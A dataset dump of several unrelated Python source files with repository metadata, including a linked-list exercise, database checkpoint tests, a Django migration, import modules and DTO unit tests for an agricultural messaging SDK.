| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
aad2f27f50b5a1775e8bb59538edf3b738e7e9b6
| 68
|
py
|
Python
|
src/hello/hello.py
|
bingrao/object-oriented-design
|
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
|
[
"BSD-2-Clause"
] | 1
|
2021-12-01T18:32:39.000Z
|
2021-12-01T18:32:39.000Z
|
src/hello/hello.py
|
bingrao/object-oriented-design
|
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
|
[
"BSD-2-Clause"
] | null | null | null |
src/hello/hello.py
|
bingrao/object-oriented-design
|
a7957ae26c234ea8a3ccf9c3128c9f6617a26c44
|
[
"BSD-2-Clause"
] | null | null | null |
from . import helpers
def printhello():
helpers.printpretty()
| 13.6
| 22
| 0.705882
| 7
| 68
| 6.857143
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.191176
| 68
| 5
| 23
| 13.6
| 0.872727
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
2abba06c2ad1e5ad5ca1754361a27505d6a726fa
| 1,689
|
py
|
Python
|
reverseLinkedList/reverseSubList.py
|
YasinEhsan/interview-prep
|
ed9f95af5a37b05304e45b41511068b6f72533e7
|
[
"Apache-2.0"
] | 11
|
2019-05-02T22:27:01.000Z
|
2020-10-30T08:43:02.000Z
|
reverseLinkedList/reverseSubList.py
|
YasinEhsan/interview-prep
|
ed9f95af5a37b05304e45b41511068b6f72533e7
|
[
"Apache-2.0"
] | null | null | null |
reverseLinkedList/reverseSubList.py
|
YasinEhsan/interview-prep
|
ed9f95af5a37b05304e45b41511068b6f72533e7
|
[
"Apache-2.0"
] | 3
|
2019-11-01T01:35:01.000Z
|
2020-01-11T18:00:39.000Z
|
#9.28 6:23AM
def reverse_sub_list(head, p, q):
# TODO: Write your code here
# to capture the apart
pre_p, post_q = head, head
# to capture the range
p_node, q_node = head, head
# to track others
pointer = head
oneStep = pointer.next
while oneStep is not None:
if oneStep.value == p:
pre_p = pointer
p_node = oneStep
elif pointer.value == q:
post_q = oneStep
q_node = pointer
pointer = oneStep
oneStep = oneStep.next
reversed_head = reverse(p_node, post_q)
pre_p.next = reversed_head
while reversed_head.next is not None:
reversed_head = reversed_head.next
reversed_head.next = post_q
return pre_p
def reverse(head, end):
prev = None
while head is not end:
next = head.next
head.next = prev
prev = head
head = next
return prev
# 9.27 5:34PM
def reverse_sub_list(head, p, q): #response is off by one element
# TODO: Write your code here
# to capture the apart
pre_p, post_q = head, head
# to capture the range
p_node, q_node = head, head
# to track others
pointer = head
oneStep = pointer.next
while oneStep is not None:
if oneStep.value == p:
pre_p = pointer
p_node = oneStep
elif pointer.value == q:
post_q = oneStep
q_node = pointer
pointer = oneStep
oneStep = oneStep.next
reversed_head = reverse(p_node, q_node)
pre_p.next = reversed_head
while reversed_head.next is not None:
reversed_head = reversed_head.next
reversed_head.next = post_q
return pre_p
def reverse(head, end):
prev = None
while head is not end:
next = head.next
head.next = prev
prev = head
head = next
return prev
| 20.349398
| 65
| 0.661338
| 264
| 1,689
| 4.07197
| 0.181818
| 0.133953
| 0.089302
| 0.027907
| 0.952558
| 0.952558
| 0.952558
| 0.909767
| 0.909767
| 0.909767
| 0
| 0.009662
| 0.264654
| 1,689
| 82
| 66
| 20.597561
| 0.855878
| 0.132031
| 0
| 0.964286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.012195
| 0
| 1
| 0.071429
| false
| 0
| 0
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2aed48b9ad89c94cc3abf8c713ba62d99f1cbbbe
| 439
|
py
|
Python
|
test/PyUnitTests.py
|
sanel/ledger
|
81e1b4ff3c78cd18e5d8c3844eb8e406dc3c8836
|
[
"BSD-3-Clause"
] | 3,509
|
2015-01-01T11:47:51.000Z
|
2022-03-30T09:22:43.000Z
|
test/PyUnitTests.py
|
sanel/ledger
|
81e1b4ff3c78cd18e5d8c3844eb8e406dc3c8836
|
[
"BSD-3-Clause"
] | 651
|
2015-01-09T16:18:10.000Z
|
2022-03-26T23:52:00.000Z
|
test/PyUnitTests.py
|
sanel/ledger
|
81e1b4ff3c78cd18e5d8c3844eb8e406dc3c8836
|
[
"BSD-3-Clause"
] | 440
|
2015-01-02T21:28:11.000Z
|
2022-03-25T05:38:08.000Z
|
#!/bin/bash
set -e
PYTHONPATH="%builddir%/.libs":$PYTHONPATH \
LD_LIBRARY_PATH="%builddir%/.libs":$LD_LIBRARY_PATH \
DYLD_LIBRARY_PATH="%builddir%/.libs":$DYLD_LIBRARY_PATH \
%python% "%builddir%"/test/python/ConvertedTests.py
PYTHONPATH="%builddir%/.libs":$PYTHONPATH \
LD_LIBRARY_PATH="%builddir%/.libs":$LD_LIBRARY_PATH \
DYLD_LIBRARY_PATH="%builddir%/.libs":$DYLD_LIBRARY_PATH \
%python% "%srcdir%"/test/python/UnitTests.py
| 31.357143
| 57
| 0.738041
| 56
| 439
| 5.5
| 0.303571
| 0.285714
| 0.168831
| 0.298701
| 0.766234
| 0.766234
| 0.766234
| 0.766234
| 0.766234
| 0.766234
| 0
| 0
| 0.068337
| 439
| 13
| 58
| 33.769231
| 0.753056
| 0.022779
| 0
| 0.666667
| 0
| 0
| 0.266355
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2afc9adb87e0f9089df560fb6dc9089659a32fee
| 306
|
py
|
Python
|
gym_pcgrl/models/__init__.py
|
rohin-dasari/gym-pcgrl
|
82718fc3d628e5bf11b3207ebffa57a79c90be4d
|
[
"MIT"
] | null | null | null |
gym_pcgrl/models/__init__.py
|
rohin-dasari/gym-pcgrl
|
82718fc3d628e5bf11b3207ebffa57a79c90be4d
|
[
"MIT"
] | null | null | null |
gym_pcgrl/models/__init__.py
|
rohin-dasari/gym-pcgrl
|
82718fc3d628e5bf11b3207ebffa57a79c90be4d
|
[
"MIT"
] | null | null | null |
from ray.rllib.models import ModelCatalog
from .models import CustomFeedForwardModel, CustomFeedForwardModel3D
# register models
ModelCatalog.register_custom_model('CustomFeedForwardModel', CustomFeedForwardModel)
ModelCatalog.register_custom_model('CustomFeedForwardModel3D', CustomFeedForwardModel3D)
| 34
| 88
| 0.882353
| 25
| 306
| 10.64
| 0.44
| 0.090226
| 0.195489
| 0.233083
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010453
| 0.062092
| 306
| 8
| 89
| 38.25
| 0.916376
| 0.04902
| 0
| 0
| 0
| 0
| 0.159722
| 0.159722
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 1
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
630e83c8ef25f0cb4770439cfd3bce142fcc85f5
| 225
|
py
|
Python
|
{{cookiecutter.repository_name}}/{{cookiecutter.package_name}}/routes/__init__.py
|
globality-corp/cookiecutter-microcosm-sagemaker
|
e41a3e752657689033d3c50686606afc5c158f8a
|
[
"Apache-2.0"
] | 1
|
2020-03-28T02:14:17.000Z
|
2020-03-28T02:14:17.000Z
|
{{cookiecutter.repository_name}}/{{cookiecutter.package_name}}/routes/__init__.py
|
globality-corp/cookiecutter-microcosm-sagemaker
|
e41a3e752657689033d3c50686606afc5c158f8a
|
[
"Apache-2.0"
] | 6
|
2019-05-31T21:22:31.000Z
|
2020-05-28T16:31:12.000Z
|
{{cookiecutter.repository_name}}/{{cookiecutter.package_name}}/routes/__init__.py
|
globality-corp/cookiecutter-microcosm-sagemaker
|
e41a3e752657689033d3c50686606afc5c158f8a
|
[
"Apache-2.0"
] | 1
|
2019-10-02T07:20:09.000Z
|
2019-10-02T07:20:09.000Z
|
import {{ cookiecutter.package_name }}.routes.invocations.controller # noqa: 401
import {{ cookiecutter.package_name }}.routes.invocations.crud # noqa: 401
import {{ cookiecutter.package_name }}.routes.swagger # noqa: 401
| 56.25
| 81
| 0.764444
| 26
| 225
| 6.5
| 0.423077
| 0.319527
| 0.443787
| 0.514793
| 0.83432
| 0.83432
| 0.497041
| 0
| 0
| 0
| 0
| 0.044776
| 0.106667
| 225
| 3
| 82
| 75
| 0.79602
| 0.128889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 1
| null | null | 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 9
|
6318a2560aa5e6cd0f815220a27c9433739afddf
| 4,217
|
py
|
Python
|
t/checkpoint_split1_test.py
|
rohankumardubey/orioledb
|
a736714ed5d71c7f85bee23150c4432b3fbdff1f
|
[
"PostgreSQL"
] | 947
|
2021-11-29T10:58:09.000Z
|
2022-03-31T18:14:07.000Z
|
t/checkpoint_split1_test.py
|
rohankumardubey/orioledb
|
a736714ed5d71c7f85bee23150c4432b3fbdff1f
|
[
"PostgreSQL"
] | 22
|
2021-12-12T22:02:32.000Z
|
2022-03-30T19:31:46.000Z
|
t/checkpoint_split1_test.py
|
rohankumardubey/orioledb
|
a736714ed5d71c7f85bee23150c4432b3fbdff1f
|
[
"PostgreSQL"
] | 30
|
2021-12-15T01:11:09.000Z
|
2022-03-27T11:22:16.000Z
|
#!/usr/bin/env python3
# coding: utf-8
from .checkpoint_split_base_test import CheckpointSplitBaseTest
class CheckpointSplit1Test(CheckpointSplitBaseTest):
def test_checkpoint_concurrent_leaf_split_chkp(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,35,-1) id;",
'downwards', None, 1,
"SELECT '0034' || repeat('x', 2500);",
17)
def test_checkpoint_concurrent_node_split_var3_evict(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,35,-1) id;",
'upwards', None, 0,
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(3750, 3760) id;",
27, with_eviction=True, with_second_checkpoint=False)
def test_checkpoint_concurrent_node_split_var4_evict(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(5000,3500,-100) id;",
'upwards', '0038', 0,
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(3801, 3826) id;",
42, with_eviction=True, with_second_checkpoint=False)
def test_checkpoint_concurrent_node_split_var5_evict(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(3500,5000,100) id;",
'downwards', '0035', 1,
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(3501, 3526) id;",
42, with_eviction=True, with_second_checkpoint=False)
def test_checkpoint_concurrent_leaf_split(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,35,-1) id;",
'downwards', '0035', 1,
"SELECT '0034' || repeat('x', 2500)",
17, with_second_checkpoint=False)
def test_checkpoint_concurrent_leaf_split_var2_chkp(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm00000') || repeat('x', 2500) FROM generate_series(50000,35000,-1000) id;",
'downwards', '00035', 1,
"SELECT to_char(id, 'fm00000') || repeat('x', 2500) FROM generate_series(38001,38011,1) id;",
27)
def test_checkpoint_concurrent_leaf_split_var2(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm00000') || repeat('x', 2500) FROM generate_series(50000,35000,-1000) id;",
'downwards', '00035', 1,
"SELECT to_char(id, 'fm00000') || repeat('x', 2500) FROM generate_series(38001,38011,1) id;",
27, with_second_checkpoint=False)
def test_checkpoint_concurrent_node_split_chkp(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,33,-1) id;",
'downwards', None, 1,
"SELECT '0032' || repeat('x', 2500)",
19)
def test_checkpoint_concurrent_node_split(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,33,-1) id;",
'downwards', None, 1,
"SELECT '0032' || repeat('x', 2500)",
19, with_second_checkpoint=False)
def test_checkpoint_concurrent_leaf_split_evict_chkp(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,35,-1) id;",
'upwards', None, 0,
"SELECT '0034' || repeat('x', 2500)",
17,
True)
def test_checkpoint_concurrent_leaf_split_evict(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,35,-1) id;",
'upwards', None, 0,
"SELECT '0034' || repeat('x', 2500)",
17,
True, with_second_checkpoint=False)
def test_checkpoint_concurrent_node_split_evict_chkp(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,33,-1) id;",
'downwards', None, 1,
"SELECT '0032' || repeat('x', 2500)",
19,
True)
def test_checkpoint_concurrent_node_split_evict(self):
self.checkpoint_concurrent_split_base(
"SELECT to_char(id, 'fm0000') || repeat('x', 2500) FROM generate_series(50,33,-1) id;",
'downwards', None, 1,
"SELECT '0032' || repeat('x', 2500)",
19,
True, with_second_checkpoint=False)
| 41.752475
| 100
| 0.715438
| 594
| 4,217
| 4.799663
| 0.124579
| 0.182392
| 0.100316
| 0.08839
| 0.928095
| 0.912311
| 0.876535
| 0.822518
| 0.822518
| 0.822518
| 0
| 0.114861
| 0.128765
| 4,217
| 100
| 101
| 42.17
| 0.661132
| 0.0083
| 0
| 0.654762
| 0
| 0.214286
| 0.470096
| 0.114115
| 0
| 0
| 0
| 0
| 0
| 1
| 0.154762
| false
| 0
| 0.011905
| 0
| 0.178571
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2d97f2980037d5650305d1cafee45fbd93d0d9f0
| 3,672
|
py
|
Python
|
careers/migrations/0003_auto_20210824_2341.py
|
zain-Z/humimp
|
fd7e4e211dce62639e2fce2dd9f9506240a7a3d9
|
[
"MIT"
] | null | null | null |
careers/migrations/0003_auto_20210824_2341.py
|
zain-Z/humimp
|
fd7e4e211dce62639e2fce2dd9f9506240a7a3d9
|
[
"MIT"
] | null | null | null |
careers/migrations/0003_auto_20210824_2341.py
|
zain-Z/humimp
|
fd7e4e211dce62639e2fce2dd9f9506240a7a3d9
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.0.6 on 2021-08-24 21:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('careers', '0002_auto_20210813_2351'),
]
operations = [
migrations.RemoveField(
model_name='careerdetail',
name='role_and_responsibilities',
),
migrations.AddField(
model_name='careerdetail',
name='role_1',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_10',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_11',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_12',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_13',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_14',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_15',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_16',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_17',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_18',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_19',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_2',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_20',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_3',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_4',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_5',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_6',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_7',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_8',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='careerdetail',
name='role_9',
field=models.TextField(blank=True, null=True),
),
]
| 31.118644
| 58
| 0.538126
| 338
| 3,672
| 5.710059
| 0.168639
| 0.097927
| 0.228497
| 0.272021
| 0.885492
| 0.870466
| 0.870466
| 0.826943
| 0.826943
| 0.826943
| 0
| 0.025684
| 0.342593
| 3,672
| 117
| 59
| 31.384615
| 0.773819
| 0.012255
| 0
| 0.738739
| 1
| 0
| 0.120828
| 0.013241
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.009009
| 0
| 0.036036
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
2db25f1093515d162297ada95e58b8d5f2da2d58
| 539
|
py
|
Python
|
PhysicsTools/Heppy/python/analyzers/objects/all.py
|
ckamtsikis/cmssw
|
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
|
[
"Apache-2.0"
] | 852
|
2015-01-11T21:03:51.000Z
|
2022-03-25T21:14:00.000Z
|
PhysicsTools/Heppy/python/analyzers/objects/all.py
|
ckamtsikis/cmssw
|
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
|
[
"Apache-2.0"
] | 30,371
|
2015-01-02T00:14:40.000Z
|
2022-03-31T23:26:05.000Z
|
PhysicsTools/Heppy/python/analyzers/objects/all.py
|
ckamtsikis/cmssw
|
ea19fe642bb7537cbf58451dcf73aa5fd1b66250
|
[
"Apache-2.0"
] | 3,240
|
2015-01-02T05:53:18.000Z
|
2022-03-31T17:24:21.000Z
|
from PhysicsTools.Heppy.analyzers.objects.JetAnalyzer import JetAnalyzer
from PhysicsTools.Heppy.analyzers.objects.LeptonAnalyzer import LeptonAnalyzer
from PhysicsTools.Heppy.analyzers.objects.METAnalyzer import METAnalyzer
from PhysicsTools.Heppy.analyzers.objects.PhotonAnalyzer import PhotonAnalyzer
from PhysicsTools.Heppy.analyzers.objects.TauAnalyzer import TauAnalyzer
from PhysicsTools.Heppy.analyzers.objects.IsoTrackAnalyzer import IsoTrackAnalyzer
from PhysicsTools.Heppy.analyzers.objects.VertexAnalyzer import VertexAnalyzer
| 67.375
| 82
| 0.896104
| 56
| 539
| 8.625
| 0.232143
| 0.231884
| 0.304348
| 0.434783
| 0.536232
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051948
| 539
| 7
| 83
| 77
| 0.945205
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
2db7247ff24adf83f1b66c1ea4e865b6b02bbf91
| 334
|
py
|
Python
|
azure-kusto-data/azure/kusto/data/_decorators.py
|
artunduman/azure-kusto-python
|
d1cda6a552eb32a7c144ee834900d79468a263a3
|
[
"MIT"
] | 134
|
2018-05-11T07:09:30.000Z
|
2022-03-30T09:25:59.000Z
|
azure-kusto-data/azure/kusto/data/_decorators.py
|
artunduman/azure-kusto-python
|
d1cda6a552eb32a7c144ee834900d79468a263a3
|
[
"MIT"
] | 176
|
2018-05-07T20:33:34.000Z
|
2022-03-31T14:51:06.000Z
|
azure-kusto-data/azure/kusto/data/_decorators.py
|
artunduman/azure-kusto-python
|
d1cda6a552eb32a7c144ee834900d79468a263a3
|
[
"MIT"
] | 85
|
2018-04-16T08:53:22.000Z
|
2022-03-29T10:10:55.000Z
|
def aio_documented_by(original):
def wrapper(target):
target.__doc__ = "Aio function: {original_doc}".format(original_doc=original.__doc__)
return target
return wrapper
def documented_by(original):
def wrapper(target):
target.__doc__ = original.__doc__
return target
return wrapper
| 22.266667
| 93
| 0.691617
| 38
| 334
| 5.526316
| 0.289474
| 0.209524
| 0.190476
| 0.219048
| 0.785714
| 0.785714
| 0.785714
| 0.428571
| 0
| 0
| 0
| 0
| 0.227545
| 334
| 14
| 94
| 23.857143
| 0.813953
| 0
| 0
| 0.6
| 0
| 0
| 0.083832
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
2ddbdb748355cab1cf7c737715a0957e7d4a0acf
| 9,749
|
py
|
Python
|
tests/onboarding_test/test_onboarding_dto.py
|
DKE-Data/agrirouter-sdk-python
|
6d6b26606f7d424c62289af56da55acf412772fc
|
[
"Apache-2.0"
] | null | null | null |
tests/onboarding_test/test_onboarding_dto.py
|
DKE-Data/agrirouter-sdk-python
|
6d6b26606f7d424c62289af56da55acf412772fc
|
[
"Apache-2.0"
] | null | null | null |
tests/onboarding_test/test_onboarding_dto.py
|
DKE-Data/agrirouter-sdk-python
|
6d6b26606f7d424c62289af56da55acf412772fc
|
[
"Apache-2.0"
] | null | null | null |
"""Tests agrirouter/onboarding/dto.py"""
from agrirouter.onboarding.dto import ConnectionCriteria, Authentication, ErrorResponse
from agrirouter.messaging.exceptions import WrongFieldError
import pytest
class TestConnectionCriteria:
def test_json_deserialize_from_valid_dict(self):
client_id = "1"
commands = "commands"
gateway_id = "3"
host = "localhost"
measures = "test_measures"
port = "80"
test_object = ConnectionCriteria()
data = {"clientId": "1", "commands": "commands", "gatewayId": "3", "host": "localhost", "port": "80",
"measures": "test_measures"}
test_object.json_deserialize(data)
assert test_object
assert test_object.gateway_id == gateway_id
assert test_object.client_id == client_id
assert test_object.commands == commands
assert test_object.host == host
assert test_object.measures == measures
assert test_object.port == port
def test_json_deserialize_from_invalid_dict(self):
test_object = ConnectionCriteria()
with pytest.raises(WrongFieldError):
test_object.json_deserialize({"clientId": "1", "commands": "commands", "wrong_key": "localhost"})
def test_json_deserialize_from_valid_json(self):
client_id = "1"
commands = "commands"
gateway_id = "3"
host = "localhost"
measures = "test_measures"
port = "80"
json_data = '{"clientId": "1", "commands": "commands", "gatewayId": "3", "host": "localhost", "port": "80",' \
'"measures": "test_measures"}'
test_object = ConnectionCriteria()
test_object.json_deserialize(json_data)
assert test_object
assert test_object.gateway_id == gateway_id
assert test_object.client_id == client_id
assert test_object.commands == commands
assert test_object.host == host
assert test_object.measures == measures
assert test_object.port == port
def test_json_deserialize_from_invalid_json(self):
json_data = '{"client_id": "1", "commands": "commands", "wrong_key": "localhost"}'
test_object = ConnectionCriteria()
with pytest.raises(WrongFieldError):
assert test_object.json_deserialize(json_data)
def test_json_serialize(self):
client_id = "1"
commands = "commands"
gateway_id = "3"
host = "localhost"
measures = "test_measures"
port = "80"
test_object = ConnectionCriteria(
client_id=client_id,
commands=commands,
gateway_id=gateway_id,
host=host,
measures=measures,
port=port
)
serialized_data = test_object.json_serialize()
assert serialized_data["gatewayId"] == gateway_id
assert serialized_data["clientId"] == client_id
assert serialized_data["commands"] == commands
assert serialized_data["host"] == host
assert serialized_data["measures"] == measures
assert serialized_data["port"] == port
class TestAuthentication:
def test_json_deserialize(self):
type = "type"
secret = "secret"
certificate = "certificate"
test_object = Authentication(
type=type,
secret=secret,
)
test_object.json_deserialize({"certificate": certificate})
assert test_object
assert test_object.type == type
assert test_object.secret == secret
assert test_object.certificate == certificate
test_object_1 = Authentication(type=type, certificate=certificate)
test_object_1.json_deserialize({"secret": secret})
assert test_object_1
assert test_object_1.type == type
assert test_object_1.secret == secret
assert test_object_1.certificate == certificate
test_object_2 = Authentication(secret=secret, certificate=certificate)
test_object_2.json_deserialize({"type": type})
assert test_object_2
assert test_object_2.type == type
assert test_object_2.secret == secret
assert test_object_2.certificate == certificate
test_object_2 = Authentication(
secret=secret,
)
test_object_2.json_deserialize({"type": type})
assert test_object_2
assert test_object_2.type == type
assert test_object_2.secret == secret
assert test_object_2.certificate is None
with pytest.raises(WrongFieldError):
assert test_object_2.json_deserialize({"wrong_key": certificate})
def test_json_deserialize_from_valid_dict(self):
type = "type"
secret = "secret"
certificate = "certificate"
test_object = Authentication()
test_object.json_deserialize({"certificate": certificate, "type": type, "secret": secret})
assert test_object
assert test_object.type == type
assert test_object.secret == secret
assert test_object.certificate == certificate
test_object_1 = Authentication(type=type, certificate=certificate)
test_object_1.json_deserialize({"secret": secret})
assert test_object_1
assert test_object_1.type == type
assert test_object_1.secret == secret
assert test_object_1.certificate == certificate
test_object_2 = Authentication(secret=secret, certificate=certificate)
test_object_2.json_deserialize({"type": type})
assert test_object_2
assert test_object_2.type == type
assert test_object_2.secret == secret
assert test_object_2.certificate == certificate
test_object_2 = Authentication(
secret=secret,
)
test_object_2.json_deserialize({"type": type})
assert test_object_2
assert test_object_2.type == type
assert test_object_2.secret == secret
assert test_object_2.certificate is None
def test_json_deserialize_from_invalid_dict(self):
test_object = Authentication()
with pytest.raises(WrongFieldError):
test_object.json_deserialize({"type": "type", "secret": "secret", "wrong_key": "certificate"})
def test_json_deserialize_from_valid_json(self):
type = "type"
secret = "secret"
certificate = "certificate"
test_object = Authentication()
json_data = '{"certificate": "certificate", "type": "type", "secret": "secret"}'
test_object.json_deserialize(json_data)
assert test_object
assert test_object.type == type
assert test_object.secret == secret
assert test_object.certificate == certificate
def test_json_deserialize_from_invalid_json(self):
json_data = '{"type": "type", "secret": "secret", "wrong_key": "certificate"}'
test_object = ConnectionCriteria()
with pytest.raises(WrongFieldError):
assert test_object.json_deserialize(json_data)
def test_json_serialize(self):
type = "type"
secret = "secret"
certificate = "certificate"
test_object = Authentication(
type=type,
secret=secret,
certificate=certificate
)
serialized_data = test_object.json_serialize()
assert serialized_data
assert serialized_data["type"] == type
assert serialized_data["secret"] == secret
assert serialized_data["certificate"] == certificate
class TestErrorResponse:
def test_json_deserialize_from_valid_dict(self):
code = "400"
message = "message"
target = "target"
details = "details"
data = {"code": code, "message": message, "target": target, "details": details}
test_object = ErrorResponse()
test_object.json_deserialize(data)
assert test_object
assert test_object.code == code
assert test_object.message == message
assert test_object.target == target
assert test_object.details == details
def test_json_deserialize_from_invalid_dict(self):
data = {"code": "401", "message": "message", "wrong_field": "target"}
test_object = ErrorResponse()
with pytest.raises(WrongFieldError):
assert test_object.json_deserialize(data)
def test_json_deserialize_from_valid_json(self):
code = "400"
message = "message"
target = "target"
details = "details"
json_data = '{"code": "400", "message": "message", "target": "target", "details": "details"}'
test_object = ErrorResponse()
test_object.json_deserialize(json_data)
assert test_object
assert test_object.code == code
assert test_object.message == message
assert test_object.target == target
assert test_object.details == details
